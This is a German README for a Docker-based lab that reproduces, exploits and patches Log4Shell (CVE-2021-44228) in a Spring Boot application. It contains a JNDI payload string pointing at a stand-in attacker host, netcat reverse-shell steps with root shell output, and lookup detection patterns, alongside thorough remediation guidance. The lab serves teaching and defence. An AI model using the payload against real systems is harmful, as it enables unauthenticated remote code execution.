Log4Shell (CVE-2021-44228) PoC

Zielsetzung

Reproduzieren, ausnutzen und beheben einer bekannten kritischen CVE in einer Docker-Umgebung.

Dieses PoC demonstriert CVE-2021-44228 (Log4Shell) in einer Spring Boot-Anwendung.

1. Schwachstellenbeschreibung

CVE: 2021-44228

CVSS: 10.0 (Kritisch)

Betroffene Komponente: Apache Log4j (<= 2.14.1)

So funktioniert das Paket

• Log4j ist eine beliebte Java-Logging-Bibliothek.
• Es unterstützt Lookups (${...}), um Werte in Logmeldungen dynamisch aufzulösen.
• Ein solcher Lookup ist JNDI, das Werte über LDAP abrufen kann.

So funktioniert die Schwachstelle

• Der Angreifer vergiftet die Opferanwendung mit einer bösartigen JNDI-Lookup-Zeichenfolge wie ${jndi:ldap://attacker.com:1389/a}.
• Die Opferanwendung mit der anfälligen Log4j-Version wertet die bösartige Zeichenfolge beim Loggen aus.
• Dies löst eine JNDI-Anfrage an den vom Angreifer kontrollierten LDAP-Server aus.
• Der LDAP-Server antwortet mit einer bösartigen Referenz auf externen Java-Bytecode.
• Die Opfer-JVM lädt den Bytecode und führt ihn aus, was zu Remote Code Execution (RCE) führt.

So funktioniert der Exploit

1. Die Opfer-App protokolliert vom Angreifer bereitgestellte Eingaben aus einem HTTP-Header.
2. Der LDAP-Server des Angreifers antwortet mit einer Referenz auf Exploit.class.
3. Das Opfer ruft Exploit.class über HTTP ab.
4. Der statische Initialisierer in Exploit läuft und erzeugt eine Reverse-Shell zurück zum Angreifer.

2. Risiko

• Auswirkung: Nicht authentifizierte RCE – höchstmöglicher Schweregrad.
• Wer/was ist gefährdet:
  • Jede Java-Anwendung, die Log4j <= 2.14.1 verwendet.
  • Internetzugängliche und interne Dienste, die benutzergesteuerte Eingaben protokollieren (z. B. HTTP-Header).
• Konsequenzen:
  • Systemkompromittierung (Shell-Zugriff).
  • Datenexfiltration.
  • Pivoting in interne Netzwerke.
  • Umgehung von Perimeter-Verteidigungen (Angriffe über interne Dienste).

3. Proof of Concept

Voraussetzungen

1. docker + docker-compose
2. netcat
3. make

Erstellen und starten

make build start

Exploit

1. Starten Sie einen netcat-Listener:

nc -l 4444

2. Exploit auslösen:

make exploit

3. Netcat empfängt eine Reverse-Shell vom Opfer:

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. Behebung

Bevorzugte Lösung

• Upgrade auf Log4j 2.17.1 oder höher.
• Dies ist die einzige vollständige und langfristige Lösung. Frühere Versionen behoben teilweise, ließen jedoch noch Schwachstellen offen:
  • CVE-2021-45046: RCE über nicht standardmäßige Logging-Konfiguration
  • CVE-2021-45105: DoS über selbstreferenzielle Lookups
  • CVE-2021-44832: RCE über bestimmte JDBC-Appender-Konfigurationen

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

Zwischenlösungen (falls Upgrade nicht möglich)

1. Zeit gewinnen

• Beschränken Sie eingehende Exploit-Zeichenfolgen (${jndi:-Muster) mit einer WAF oder Middleware.
• Beschränken Sie ausgehendes LDAP von Anwendungsservern mit Egress-Filterung.

2. Lookups deaktivieren:

-Dlog4j2.formatMsgNoLookups=true

3. JVM härten:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Operative Maßnahmen

1. Abhängigkeiten und Laufzeit auditieren

• Erstellen Sie eine SBOM (gradle dependencies, Snyk, Wiz, etc.).
• Durchsuchen Sie bereitgestellte Images/Server nach log4j-core-*.jar, einschließlich fat JARs.
• Triagieren und priorisieren Sie Maßnahmen für die riskantesten Workloads.

2. Überwachen & erkennen

• Achten Sie auf Exploit-Versuche in Logs (${jndi:...}, ${${lower:j}ndi:...}, etc.).
• Überwachen Sie ausgehenden LDAP-Verkehr auf Callbacks.
• Behandeln Sie Funde als potenzielle Kompromittierungen, eskalieren Sie zur Incident-Response (forensische Untersuchung, Entfernung bösartiger Artefakte, Rotation von Geheimnissen, etc.).

3. Hersteller-Patches

• Verfolgen Sie Hersteller-Advisories (z. B. Elasticsearch) – viele liefern gebündeltes Log4j aus.
• Wenden Sie bereitgestellte Hotfixes oder Workarounds an, bis offizielle Patches verfügbar sind.

4. Strategische Verbesserungen

• Durchsetzen einer „Standardmäßig verweigern“-Richtlinie für die Filterung ausgehenden Datenverkehrs.
• Erzwingen Sie Dependency Scanning in CI/CD.
• Formalisieren Sie Response-Playbooks, damit Teams genau wissen, was bei der nächsten „10.0 CVSS“-Schwachstelle zu tun ist.
• Führen Sie Resilienzübungen/Tabletops durch, um die Bereitschaft für einen „neuen Log4Shell-Klasse“-Vorfall zu testen.

5. Referenzen

• Apache Security Advisories